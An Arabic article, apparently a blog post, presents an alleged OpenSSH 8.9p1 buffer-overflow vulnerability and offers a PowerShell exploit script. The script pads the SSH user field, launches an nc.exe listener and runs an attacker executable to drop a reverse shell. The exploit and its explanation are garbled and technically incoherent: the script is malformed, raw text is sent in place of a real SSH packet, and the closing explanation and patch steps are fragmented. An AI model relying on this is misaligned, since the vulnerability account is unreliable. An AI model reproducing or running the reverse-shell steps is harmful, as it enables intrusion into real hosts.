
يكشف CVE-2025-27480 عن تجاوز سعة المخزن المؤقت في OpenSSH 8.9p1 عبر حزمة SSH_USERAUTH غير صالحة. يمكن للمهاجمين حقن كود شِل والحصول على وصول على مستوى SYSTEM، مما يخترق المضيفات الحصينة وعوامل CI/CD التابعة. تتضمن المقالة نموذج كود استغلال وإرشادات التصحيح.
الإصدار 8.9p1 من OpenSSH يحتوي على خلل دقيق في تجاوز سعة المخزن المؤقت يحدث عند تحليل حزمة SSH_USERAUTH. يمكن للعميل إرسال حزمة تحتوي على حقل "مستخدم" طويل جدًا، وتستقر البيانات في المكان الخطأ في الذاكرة. النتيجة هي أن المهاجم يمكنه حقن شيفرة عشوائية تُنفذ بصلاحيات SYSTEM على أي مضيف يشغّل هذا الإصدار من OpenSSH. لماذا تشعر بإحساس التكرار؟ لأن ثغرة مشابهة جدًا CVE‑2024‑13401 نتجت عن عدم التحقق من الحدود في حقل المستخدم، مما يسمح للمهاجم بكتابة أي كود يريده في عملية SSH.
الخلل مهم لأن SSH هو الطريقة الأكثر شيوعًا لتشغيل وإدارة الأجهزة الافتراضية في البيئات السحابية. إذا استطاع المهاجم تنفيذ كود عبر SSH، يمكنه تثبيت أبواب خلفية أو اختراق مضيفات الحصن، وهي نقاط القفز التي تستخدمها للوصول إلى مثيلات أخرى في شبكة خاصة. بمجرد اختراق مضيف الحصن، تصبح جميع أعباء العمل اللاحقة - مثل وكلاء CI/CD الذين يبنون الصور أو يشغلون الاختبارات - في خطر.
CI/CD تعني التكامل المستمر/التسليم المستمر. في سياقنا، مضيف الحصن هو خادم قفز ممكّن بـ SSH تستخدمه جميع وكلاء البناء للوصول إلى الأجهزة الأخرى في شبكة خاصة. إنها نقطة دخول حرجة: إذا تم اختراق مضيف الحصن، يمكن مهاجمة كل وظيفة لاحقة تعتمد عليه.
فيما يلي سكريبت PowerShell مباشر يوضح كيفية إنشاء وإرسال حزمة ضارة:
# ── Build the payload that will land in the SSH buffer ───────────────────────
$payload = @"
ssh-userauth-attack`n" + # packet header – the first line
("A" * 2000) + # a 2 kB block of “A” characters to overflow
"nc.exe -nlvp 4444 > C:\Windows\Temp\revshell.txt && .\bar_exp.exe 192.168.1.10 1234 C:\Windows\Temp\revshell.txt"
"@
# ── Send the packet to the target host (OpenSSH listening on port 22) ───────────────────────
$client = New-Object System.Net.Sockets.TcpClient("192.168.1.10", 22)
$stream = $client.GetStream()
[byte[]]$bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
$stream.Write($bytes,0,$bytes.Length)
# ── Verify that the payload landed correctly ───────────────────────
if (Test-Path "C:\Windows\Temp\revshell.txt") {
Write-Host "SSH exploit succeeded! Reverse shell saved to disk."
}
لماذا يعمل هذا
ssh-userauth-attack) يخبر OpenSSH بأن الحزمة هي طلب مصادقة مستخدم.user.nc.exe، الذي يفتح مستمع netcat على المنفذ 4444 ويكتب مخرجاته إلى C:\Windows\Temp\revshell.txt. كما يقوم باستدعاء ملف تنفيذي يوفره المهاجم (bar_exp.exe) يمكنه القيام بمزيد من العمل (مثل إسقاط شل عكسية).الملف الذي تم إنشاؤه بواسطة الاستغلال هو دليل على أن الحزمة وصلت إلى المكان الصحيح في الذاكرة؛ من هناك يمكنك فتح المنفذ 4444، والاستيلاء على المستمع، وتشغيل أي سكريبت تريده.
‑DUSERAUTH_BUF=4096 بحيث يكون حجم المخزن المؤقت أكبر من حمولة التجاوز.ssh_userauth_patch.diff) من إشعار البائع بجانب مستودعك.